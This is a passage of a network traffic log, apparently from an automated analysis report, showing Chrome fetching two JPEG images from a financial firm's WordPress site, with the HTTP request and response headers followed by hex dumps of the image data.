2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ba b1 ba ba 1c c9 ea 74 32 69 a3 3b 84 e8 57 3b 29 34 1c e7 7c 99 95 fd 6e d6 35 e5 2d ec df 8a 59 87 04 96 f2 ba bc fd 6b b1 c2 d9 56 10 cf aa 3b c7 03 d6 f9 3e ef 5e 7d 0a ea a7 87 6e 0a c4 be 87 9b b1 58 b9 f5 75 95 b3 64 51 a9 b6 ec 4f 9d da 72 54 de 8d 29 db a2 79 72 dc 59 1a 63 ac c8 c6 f5 3b 13 e3 f5 b9 f6 e9 63 c1 2e 7a 1d 2b a7 2e 8d d9 ee cd cd 5e 69 ef 32 2a 8e b3 a9 56 8d b4 59 9e 5e c6 ac 79 f9 74 d7 9e 39 cc f0 a1 74 9d 0a a8 b6 5d 5b 38 d7 cb e8 f3 53 9b 9f 5f 4b ce a3 8f 79 f6 25 c4 ef 67 56 ad d5 63 5b f4 ad 6e 7e 7f 3f 43 27 b7 58 2d 81 e3 df a7 e6 ae 74 e7 92 11 af b4 e8 5d 86 ce 5d 3b 11 c6 b1 79 d1 8d 7d b9 ec f4 9e 5f a7 27 a3 cd 8e ac ce 5c 63 a7 6f 43 96 15 f9 fd 13 e3 75 78 bd 39 75 79 7a 71 f5 e7 ea e8 ae 3c 3a 57 75 33 cd 59 7d Data Ascii: t2i;W;)4\|n5-YkV;>^}nXudQOrT)yrYc;c.z+.^i2*VY^yt9t][8S_Ky%gVc[n~?C'X-t]];y}_'\coCux9uyzq<:Wu3Y}
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: e6 1e c3 9b db be 4f 4f af 3a b9 1d 5e 07 87 d5 4e fe 37 a2 9e 8c f8 f6 64 cb 87 1a b4 76 f3 f4 34 c6 de 1d ab 6a d9 28 a6 fa b7 8a 2a d1 9f 52 a8 4e 1a 55 09 c3 58 53 83 d6 5d 95 d8 b8 e3 6a d7 7a 6a d2 8a a3 64 4a e4 2b 97 96 e9 6b 34 dd 43 b2 d8 d7 6c 4c 84 a6 85 40 5f a7 9c cd d0 c9 24 a6 ea 0e bc 76 5b 9b 4e 37 9a 37 3d 4c 70 e9 5b 73 72 9b e7 d3 34 36 46 6b 9f 1d d0 6b 95 ab 3e fd f0 27 64 79 fa 66 d1 9d 65 cd 6f 37 b7 9b 5a cc f5 cf 47 63 83 d2 e7 df 6d 37 f5 78 f4 f3 5a f0 5b db cf d0 e3 eb c7 ab d4 31 c2 3a 0b 9d af 1d ac c1 d0 61 46 ba 53 1d 7d 49 6b 9f 22 5d 66 d7 1a 8e fa 97 85 2e e1 65 78 3a d9 b3 ab 26 b9 92 f4 3b 5c 2e cf 24 b4 4f 27 1e ba ab f2 5b fa 63 a1 92 b8 f5 9d 1d 9c 4e ce 77 53 b7 9b 35 a2 ea 22 de 2a fa 12 cf 3e 4e 9a b4 f5 c6 59 Data Ascii: OO:^N7dv4j(RNUXS]jzjdJ+k4ClL@_$v[N77=Lp[sr46Fkk>'dyfeo7ZGcm7xZ[1:aFS}Ik"]f.ex:&;\.$O'[cNwS5">NY
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: de 70 82 b2 a7 4a 46 ba 74 42 5e af 1b 57 2a f3 e9 df c5 b1 7b fc fd b0 e7 df 15 92 d1 66 6a e5 2d f9 f0 6a 2d d6 36 63 d3 ce cd a4 a2 3b c6 a8 2a d7 76 4d b9 26 a4 17 0a 78 ba 79 eb 46 2e 96 02 b7 6d 8c 65 3a 37 e3 5c 8f 41 5d f9 d7 03 27 60 de 38 d2 ea 53 bc 6b d1 9d e7 5c 6e df 07 b3 d3 38 7b 1c 4e ae 63 e1 76 25 67 9e af d4 47 57 cf 3e f5 52 f3 4e 84 25 cc 5c d7 97 57 5a 5b e5 cb ec 58 63 5b 34 e6 9f 0f 74 bc ff 00 7f 0f 4f 3f 9f ea b3 a7 0c 3a a7 32 35 df 2c d8 d2 e8 b0 b3 3d b6 ab f2 dc 6c cd a2 8c b3 49 d8 d2 d5 1b ae b6 4a b9 7d 7f 1d 22 87 bb c5 75 12 8f 5f 36 7b 20 bc 3e c4 a6 33 15 33 af 28 4a 52 e9 14 d1 f2 3e 9f 3f 2e ec 7e 6d 40 16 b0 9a 0b bb fc 1e 9f 1e 9d db f8 d7 f2 eb a7 9d 2c 93 4a fc 96 e9 a9 67 8e 6d d2 cb 3b cb 75 d8 ad c6 f5 cf 1c Data Ascii: pJFtB^W{fj-j-6c;vM&xyF.me:7\A]'`8Sk\n8{Ncv%gGW>RN%\WZ[Xc[4tO?:25,=lIJ}"u_6{ >33(JR>?.~m@,Jgm;u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49821	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	397	OUT	GET /wp-content/uploads/2017/07/shutterstock_153861770.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	712	IN	HTTP/1.1 200 OK Connection: close Content-Length: 29921 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7c764-74e1" last-modified: Thu, 31 Aug 2017 08:23:00 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-ewr18176-EWR, cache-ewr18159-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867700.113495,VS0,VE1 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 01 4e 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 07 ff c4 00 18 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 fa 31 95 fa 7c d5 10 75 9b Data Ascii: JFIFC!"$"$CN"1\|u
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 95 4b 96 25 2c a6 3e 7f 65 37 9e 0d 7e 8d b5 3c b9 f5 6c 79 33 ea ad 8f 2e 7d 39 8f 3d 67 70 4b c9 b3 a6 25 c6 fa 84 b5 35 95 8e 44 94 15 34 54 aa 15 8a 66 c1 da 4d 67 97 7e d5 ac 69 ba 57 3e 6d 87 3e ce 54 eb c7 a6 79 e8 ba 4d 60 ee 3f 2f 77 2e 96 db 45 79 bb 14 3c ae 28 b2 0f 33 a2 f5 c9 d1 af 16 9b ac 0d 8a 92 39 16 18 20 d4 5b 20 03 48 41 0a 95 20 81 94 46 63 65 65 ca d2 ce 4a a5 84 11 14 b0 52 52 e9 5c 1c d5 07 34 ca b0 57 07 ad 96 98 40 82 10 2c 59 5e 5d f6 e4 f4 f9 da f4 d5 9b 5b d7 03 7d 46 51 54 5b 35 5d 85 e5 d9 d5 e4 af 3d f6 32 73 61 d5 d3 c7 a0 ed db ca 19 bd 66 e7 e8 ce ad b2 4c d0 16 c2 2e 5d 34 d0 48 24 42 15 60 2c 94 e2 28 ea 41 09 00 35 5a 2b aa ac 64 28 e9 14 70 08 b2 4a 59 25 56 2c 08 89 70 aa c5 a0 a6 5b 2c c7 47 4e 59 c2 ef 29 30 6e Data Ascii: K%,>e7~<ly3.}9=gpK%5D4TfMg~iW>m>TyM`?/w.Ey<(39 [ HA FceeJRR\4W@,Y^][}FQT[5]=2safL.]4H$B`,(A5Z+d(pJY%V,p[,GNY)0n
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: e6 b4 5b a7 9a 27 98 20 70 66 c4 df bf 5e ed 42 3b 2e e6 8c 20 c5 6e 83 ab 8f 8e 34 78 bf 5a 8a c2 12 20 1b 24 77 1d a2 b6 e3 7d 24 30 75 30 7b 1c f1 15 b7 21 d0 9d 75 c8 07 cb c2 bb 91 e9 c4 18 17 bb 80 00 af 73 86 ca 56 00 74 dc 5a 98 46 e6 25 7c 8f e5 d7 5d 6e 6a 0f be 87 ea 9e d7 59 d8 51 72 b1 24 4f 88 81 d6 2e b4 1f bf 28 0f 6e 6b 3c c0 ac 8d c8 03 ae 87 b7 42 75 03 03 09 d4 56 06 64 1d 26 1d c0 bb 7d 5b 95 e5 b1 3e 65 58 ed c9 77 3b 4b 7f 83 35 6d 52 bc 84 e3 35 d9 b7 aa c9 83 e2 c6 c8 a6 72 81 a7 29 ca 6c 7f e8 6b d8 dd af 23 61 6b 55 9c 44 60 a0 55 de c6 d0 15 b7 28 49 e7 fa 7a 9b 97 92 f2 be 75 8b 99 dc e3 37 f1 de ae f2 a0 42 de 85 c5 15 32 17 1c 96 aa 99 23 2f 25 18 60 58 8a 44 b7 19 6c 9c 45 55 d6 dc 0a 7c e7 11 2c a6 b7 9e 4a 08 00 02 0e 80 Data Ascii: [' pf^B;. n4xZ $w}$0u0{!usVtZF%\|]njYQr$O.(nk<BuVd&}[>eXw;K5mR5r)lk#akUD`U(Izu7B2#/%`XDlEU\|,J
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: db 5c 6e af 15 35 98 a9 e8 68 ad c3 a7 20 4e 46 59 5a f1 ea 0a 00 ec c5 50 7a aa 8c f3 32 1a 35 1c e0 28 a2 c3 2d e7 b6 16 6d d5 8c e0 d0 d6 d2 9b f2 aa 95 f8 ad 8b 07 88 60 db 17 1f 0e d9 e9 40 9e 9e ed 7a 7c a9 e5 e5 ec 57 98 27 0c cd 9a f2 8c 7a 72 c8 38 99 a4 ae 2e 44 f4 b6 cf 46 f0 62 76 f4 89 3d 1d 5b f4 74 6f d1 51 06 25 2b 0e 2d 13 d3 d1 05 55 40 88 26 87 4c cf 0f c7 cc b6 9a f8 2e f5 32 eb b9 33 9b 1d 1f 1b 12 84 c5 a5 58 eb e6 67 18 aa b3 7d 3e 15 26 35 be a7 34 fa 8b f2 2a 4f 2e b6 99 69 e9 32 bc 2e fb 72 31 2d c7 6a 5d f2 1a d6 a1 d9 41 c8 ba 28 cb b2 0c 6a 95 86 e6 a0 03 72 cf ab 96 38 6d fc b7 ca 33 f7 df 41 dd b5 2b cb c9 46 5f 12 b8 44 f1 55 9f f4 f1 e7 fd 3c 49 ff 00 4f 0e 7f d2 c4 9f f4 b0 cc 3e 23 89 bf 5f 8f 3d 65 73 d5 4f 52 d3 cf b2 Data Ascii: \n5h NFYZPz25(-m`@z\|W'zr8.DFbv=[toQ%+-U@&L.23Xg}>&54*O.i2.r1-j]A(jr8m3A+F_DU<IO>#_=esOR
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 3d 55 13 f5 d3 f7 65 8b 52 77 c9 7a a8 40 74 61 2e 20 68 fe 5b cf 4f 8e 63 e3 56 52 8b 5e 85 4b ea 78 59 47 b1 ab 56 35 56 b5 cd c2 32 ab b2 ac b7 6b 6e 5a eb 51 58 b5 1a a7 59 c6 c1 14 99 cb 53 97 7d c2 dd c1 9f ad 7f 10 dc f3 9d 63 5f ba aa f8 46 bc c7 dd 83 d3 91 3c b7 98 8f e5 25 8e ec f6 6f cc 37 8a e8 a2 f1 67 b4 75 ff 00 f3 8f da 27 74 99 19 1d eb c5 e6 d7 60 21 ab c3 72 1d 8e e1 d4 67 54 5d be 5d 88 bc 17 a7 ee 1d 45 51 35 1d 76 3c 84 d3 e2 a7 1f 0d b4 fb f8 88 ea 18 28 e2 2e 4e 73 1d 0a 0b 34 14 1e 43 d3 24 6a b8 15 43 b6 fe b6 18 ef 2a 3d fe c9 9b ec 4f 7e da 56 ec 65 9f 6b fd 86 a7 1f 85 1f 16 b6 e9 b1 c7 bc dc 0a e2 6d c4 0f 39 09 e2 23 cb c8 c7 ff 00 2c ab cc c7 a7 53 40 0b 3e 35 e0 2e ac 99 57 25 70 23 e5 1a ab 15 28 2d cb 70 91 17 a3 75 df Data Ascii: =UeRwz@ta. h[OcVR^KxYGV5V2knZQXYS}c_F<%o7gu't`!rgT]]EQ5v<(.Ns4C$jC*=O~Vekm9#,S@>5.W%p#(-pu
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 45 68 a4 98 ce 75 b1 3a 1b b2 d9 96 c4 38 14 93 ee fe dd d1 de 57 a5 ad 5b a1 47 d9 8a 37 2f d9 b7 3d 9b 15 db c1 96 f6 39 6e 4a 5b 09 c9 19 ec 41 ee 27 7d 96 43 9a 1b bd 91 82 a3 a7 c0 e5 e1 11 55 da d2 21 c0 e5 5a b7 45 f9 d1 a3 83 1b 31 66 e5 97 ae 54 85 32 d6 ae 1b ec 25 5a 2c b8 14 52 ee 62 7b 51 89 17 e0 6e 85 1d 3f 8f 65 12 68 ad 85 1f 7a 4a 14 62 d7 e8 56 9c 31 2b dd eb 2e 08 f1 ab 6e 4e 91 8a 21 cd 76 64 88 b8 f0 61 fa 14 bb 25 c1 1e 34 77 21 6d a4 7f 96 b3 7e 10 a3 44 a3 66 6f ba 53 48 7d 4f 44 25 f6 a7 8b a2 f2 16 da c7 f9 69 29 51 08 d6 fa d1 ff c4 00 26 11 00 02 02 01 03 04 03 01 01 01 01 00 00 00 00 00 00 01 02 11 12 10 21 31 03 20 41 51 13 22 30 32 40 42 61 ff da 00 08 01 02 01 01 3f 01 36 d2 b4 a2 cb d1 ca fb 9f 7d fe f7 f9 78 1f 62 d5 7e Data Ascii: Ehu:8W[G7/=9nJ[A'}CU!ZE1fT2%Z,Rb{Qn?ehzJbV1+.nN!vda%4w!m~DfoSH}OD%i)Q&!1 AQ"02@Ba?6}xb~
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: c7 46 47 08 3e 6a a5 27 4c 34 c8 4d 78 7b bb 9a b6 20 a7 51 cc 43 a9 3a de 49 ae 73 80 24 29 a7 2c 2c 3e ab 76 a1 de 16 42 ab 9d f7 d4 9c 83 1f 19 1c 37 50 cd 54 82 2d aa 8e 7c d3 aa 44 c0 4f ed 55 af 53 90 fe 1c 33 19 94 0d 32 4c 69 2b 7a ac b7 01 49 ba 2a 7d 8f b3 c6 56 71 39 08 78 0c 6f 08 8d 51 ef 61 c4 f4 45 96 06 35 43 23 5c 00 3a 9e 6b 7b d5 58 ad 51 9e 4b 28 70 2e 51 2b 5c 27 10 04 49 52 fe ba a1 da 99 4d f5 88 b0 6f ea 89 a8 39 2e f2 98 00 84 1e de 78 b9 be 29 e6 9b 5d 0e e7 c9 0a bb f9 9a e8 b0 5d cd f3 54 65 ac a9 ba 95 62 d1 4d c5 a4 7d 53 d8 1d ef d9 bb f9 85 55 8c 70 dd 7c df c5 39 93 ef 05 bf 35 98 7e 07 7e 69 8e 83 1d a2 97 4e 69 c0 31 c6 0f 44 d7 77 4f de 17 b2 81 49 d9 9a 6d 64 c7 77 2e 87 8d e5 56 9f d9 cc 87 4b 10 26 8c 66 6e f2 7d 27 Data Ascii: FG>j'L4Mx{ QC:Is$),,>vB7PT-\|DOUS32Li+zI*}Vq9xoQaE5C#\:k{XQK(p.Q+\'IRMo9.x)]]TebM}SUp\|95~~iNi1DwOImdw.VK&fn}'
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 7e 64 2b 76 4f 5a 81 5b b3 d2 1e 75 15 9b d9 87 aa b5 7e c9 fe d9 57 7d 1f 36 8f ee 89 fb 6b d9 07 4e e0 20 2a ff 00 ea db fc ed 95 0f db 6b bb c9 cb 7a bf 68 3f e7 5c 55 7f d6 54 b9 ce f0 be 8a 04 98 e8 33 14 58 68 92 e8 fc 27 53 d1 1a ef 7c 36 9d 4b da c4 fe ab 88 54 8b ea a4 5a 30 e5 85 94 a8 73 a3 cd 77 6e 6e 76 bb 97 54 e7 3a 98 12 4c 32 6c db a8 02 02 cc 70 75 00 e9 a6 c7 67 aa ef fc f4 54 fb 3d 0e ec 5b 43 cb fe 11 ef 0b 5f 4c 68 63 91 3f db e9 e6 88 a4 d0 d9 c7 45 67 1f 9a b8 07 c9 73 ba 80 76 2c b4 5a 2d 17 0a e6 a7 aa d1 4c 2b e1 c2 bd d8 5e e9 ab dd 37 d1 70 0f 45 a0 b7 b1 fb ab 15 ee 85 57 4f 58 b2 ef 5d 49 f3 12 5a 1a 8e e5 81 8d e0 bd cb 07 90 85 b9 5a bb 3c 9f 3f 9a ff 00 16 4f 9d 30 be f1 d3 ff 00 4a b5 bc 96 eb 96 5c 8d 2d e8 b2 b1 85 b3 Data Ascii: ~d+vOZ[u~W}6kN *kzh?\UT3Xh'S\|6KTZ0swnnvT:L2lpugT=[C_Lhc?Egsv,Z-L+^7pEWOX]IZZ<?O0J\-
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: b5 52 56 8a 0a cb 3b 9f 92 b1 db ba b6 12 c0 86 71 75 98 ac a3 0b 10 54 47 b4 82 a5 a2 fb 10 89 0e b2 ea b4 c3 5d 98 da 28 9d 4c e8 b3 38 40 c4 1e 58 49 50 3e 5b 37 40 b4 ee a9 db 92 ac ae d5 2d 2a 0a cc 05 d1 67 54 5c d7 6a 50 6b e7 2a d1 77 79 55 94 e6 56 20 a8 cb f1 71 84 01 8d b0 ca 34 52 75 3b 6d f2 da 92 b2 b4 7c 94 b8 49 44 42 ee e6 c7 6f 34 5f 08 94 64 ce 06 19 6f dc 01 83 58 59 dd f2 db 8f 04 3c b6 6e b2 85 27 5c 41 1d 50 da 92 ad a2 e0 5c 2b c7 f7 08 9f 62 36 24 a8 1b 3f 3d bc a0 ee 8f aa 97 05 c2 b4 52 c5 33 fb a4 8f 1c 64 a8 1a ed 3b 6b 28 d4 ac dc 86 c7 8a 81 fb a4 f4 40 a9 2a 02 f1 da 72 1b 1e 2b c1 40 d9 b8 fd d3 2a 22 e3 0f 1d b2 86 36 e6 b2 ab 6d ff 00 ff c4 00 28 10 01 00 02 02 01 04 02 02 02 03 01 01 00 00 00 00 01 00 11 21 31 41 10 51 Data Ascii: RV;quTG](L8@XIP>[7@-gT\jPkwyUV q4Ru;m\|IDBo4_doXY<n'\AP\+b6$?=R3d;k(@r+@"6m(!1AQ
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 6b da 11 29 f1 70 87 b3 2c 53 cc 23 b4 77 8a d9 d9 ff 00 30 6c 13 4d 4a ba 55 06 c3 99 56 4c c9 ef 11 48 13 3b 85 39 33 10 9f 02 58 28 11 3a 0c 3a 71 0c 15 38 3d e1 0d b2 e5 00 dc 20 dd 31 0b 38 fb e7 d0 2d 8a 89 6d 4f a0 ea b8 73 08 e0 b9 82 60 88 85 f5 86 12 c3 26 63 c9 d1 2c 0e 4f 6c 32 e5 33 c9 2f 06 c0 a5 f5 31 2c 8a 4e b9 58 06 16 b2 32 42 64 27 38 e1 c7 f3 2d c6 9f a3 0c c9 9b ac b8 61 07 a0 59 b7 52 d0 f4 8a 81 46 e4 2f d2 0e 12 d5 7e 30 ce 25 c0 fb ff 00 72 cb 81 b4 2a 3b 06 63 d9 0b 13 31 bc c0 04 67 4c 08 96 69 8f 05 83 2d 43 56 34 25 fa 3d 6a 0e 1d 21 d9 98 b9 56 58 21 8f 94 9f 09 c1 5a 97 98 4e ef 27 64 e2 d7 d9 95 0a 6c 5e af b4 6d 5d 9e eb ed 09 42 b7 d2 ea 1b c2 ff 00 f0 99 21 95 44 5c f9 f8 1d a3 98 c3 51 4e 63 c3 9b 93 17 04 3b 2b 21 4d Data Ascii: k)p,S#w0lMJUVLH;93X(::q8= 18-mOs`&c,Ol23/1,NX2Bd'8-aYRF/~0%r*;c1gLi-CV4%=j!VX!ZN'dl^m]B!D\QNc;+!M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49818	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	382	OUT	GET /wp-content/uploads/2017/06/banner2.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	714	IN	HTTP/1.1 200 OK Connection: close Content-Length: 204920 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7c682-32078" last-modified: Thu, 31 Aug 2017 08:19:14 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-lga21927-LGA, cache-lga21974-LGA X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867700.120431,VS0,VE4 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 03 3a 06 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 ff c4 00 1a 01 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 44 4f 7e 24 45 16 Data Ascii: JFIFC!"$"$C:@"DO~$E
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 45 a1 5b 99 0a 48 96 6e 0e 59 24 12 48 94 05 44 5c 50 4d 50 02 b4 20 8b 08 a9 2a 88 2b 04 0a 93 85 92 20 2c c4 c4 a4 11 53 0a d5 a9 65 28 3b c6 62 21 88 18 8b 04 c2 24 8a 88 c4 4c 09 09 8c 4e 1c e1 29 58 4a 10 d9 12 40 89 04 49 84 1c e5 14 c7 42 ac c5 f1 d4 a8 b5 25 72 00 05 43 1c 39 27 2c a5 09 4b 29 c1 e5 3b 29 94 ba 1d 57 73 d4 55 81 92 1a f3 f4 cc 19 1d 49 38 32 64 54 5b 2a 88 bd d1 29 6e 75 39 6c 75 b8 90 32 2a 6c ad 5a 15 b9 04 15 8c a8 b0 2b 2d 0a 8b 52 40 98 44 90 a8 60 84 91 91 8d 58 56 17 14 c8 b4 83 95 8a 42 24 a1 09 54 90 02 90 45 4d ad 6a d6 50 68 89 41 73 4a 5d a2 d4 ec 51 59 61 55 2b 42 b2 c0 a5 5e aa 95 7a 28 86 98 56 65 71 b9 4a ba 29 5a 9a a8 b0 10 c5 4d ca 20 ae 4b 59 62 20 4d 08 60 89 12 c4 92 10 c1 0d 02 61 15 34 45 4d 2c 54 d5 44 92 Data Ascii: E[HnY$HD\PMP + ,Se(;b!$LN)XJ@IB%rC9',K);)WsUI82dT[)nu9lu2*lZ+-R@D`XVB$TEMjPhAsJ]QYaU+B^z(VeqJ)ZM KYb M`a4EM,TD
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 21 95 16 c9 10 c1 0c 10 c1 0c 10 c1 0c a4 30 43 04 32 12 9a 20 48 a4 30 43 04 30 43 04 30 43 04 30 44 90 86 08 60 98 28 c2 00 00 00 00 01 80 10 c4 d4 00 ab 26 bc be 1f 65 36 23 8f 6b b5 e5 d5 ed f1 80 77 e2 80 a0 01 00 25 24 25 25 48 61 11 84 46 09 32 90 c2 23 08 8c 10 d2 89 94 86 84 30 88 d0 86 09 35 40 0a 86 11 18 24 c1 26 09 49 09 35 49 49 09 32 92 60 93 4b a0 64 e6 0c 80 60 9b 04 c6 26 31 31 c2 63 13 18 86 c4 32 01 80 30 4d 90 9b 04 db 58 93 22 0e 4a 90 d8 86 a1 88 18 02 18 88 65 25 20 43 04 30 43 04 30 06 a0 06 21 82 18 21 82 60 00 20 0d 50 00 30 43 04 31 10 c1 00 00 0d 00 00 09 82 1a 10 c0 4c 10 c1 0c 10 c0 18 21 8a 86 08 60 86 00 00 00 00 00 00 c1 0c 00 20 06 b5 65 d5 4f 83 db 5c 6d 5c 7b 4b 4d 1a 3d de 34 07 a3 80 9a 00 00 01 26 08 68 13 04 99 49 Data Ascii: !0C2 H0C0C0C0D`(&e6#kw%$%%HaF2#05@$&I5II2`Kd`&11c20MX"Je% C0C0!!` P0C1L!` eO\m\{KM=4&hI
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 81 20 89 20 81 22 a2 49 11 24 11 53 08 12 08 12 08 a9 a2 24 82 04 82 2a 6a d8 12 08 a9 04 54 82 04 8a 81 20 81 20 82 9a a8 a9 a2 04 83 aa 49 f0 b1 53 22 24 82 24 81 0c a4 30 44 88 88 cb 10 c1 0c 10 c1 0c 10 c1 0c 10 c1 0c 10 c1 0c 10 c4 4c 62 18 21 82 18 00 c4 30 4d 90 86 09 b0 43 62 18 21 b2 24 90 86 c8 92 08 b6 08 60 89 04 49 04 49 04 5b 08 92 08 92 08 92 08 92 08 92 42 18 44 90 44 91 51 24 11 18 21 82 52 08 92 08 92 08 92 08 92 08 92 08 8c 10 c4 43 16 24 82 24 82 23 04 30 89 20 89 20 63 3e 47 d4 8a 91 cf a1 5d b0 f7 f8 60 48 f6 f9 62 30 4a 41 12 41 12 4a 92 90 44 92 10 c2 24 82 24 91 12 41 15 34 44 91 51 24 88 92 08 8c 22 49 11 24 11 53 4b 15 30 81 22 a0 48 20 48 22 a6 88 12 2a 04 82 04 82 04 82 0a 65 41 4d 11 53 4b d5 6d f9 ec 49 04 49 04 49 09 12 41 Data Ascii: "I$S$jT IS"$$0DLb!0MCb!$`II[BDDQ$!RC$$#0 c>G]`Hb0JAAJD$$A4DQ$"I$SK0"H H"eAMSKmIIIA
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 63 3d bf 3d 26 5c 80 c4 30 06 08 60 86 00 c1 0c 10 c1 0c 10 c1 12 42 18 22 41 11 82 18 22 48 43 08 92 2a 24 91 12 48 88 c1 26 80 00 60 21 80 29 22 18 21 82 1b 10 c1 0d ad 6a 47 c9 fa b1 90 e5 4c 97 af c9 15 23 d9 e3 89 25 49 48 22 31 50 c1 29 32 04 82 24 90 94 8a 89 20 81 20 81 34 44 92 22 48 22 db 2e a3 55 1c 7a 52 a6 bb f3 89 20 8a 9a 22 48 58 a9 84 09 84 09 04 49 15 02 68 89 20 8c d3 3c ff 00 77 83 e8 25 ad 58 b5 20 ac 45 64 eb 97 68 e3 cc c6 80 01 0d 00 06 7c fb 97 cb fa be 62 6a bf c9 7d be a6 cc fd 5f bb e0 e0 29 bf cb 7d 13 ab 87 b3 fa 0f 0f 9f cf bb 2f c5 f7 43 af cd f4 5f 4f cb c6 e4 7a 0e 3f 9b a4 3a 58 fa 5a d6 9e 27 a6 f3 dd f8 40 b9 7c 7f 4f 57 0f 6f 97 fa 0f 07 3d 4d fe 73 df 7e ba f7 7e 83 c1 c4 85 d5 fc 0f 6d 5d 8e 5f 7f ea 70 e5 e6 e9 f3 Data Ascii: c==&\0`B"A"HC*$H&`!)"!jGL#%IH"1P)2$ 4D"H".UzR "HXIh <w%X Edh\|bj}_)}/C_Oz?:XZ'@\|OWo=Ms~~m]_p
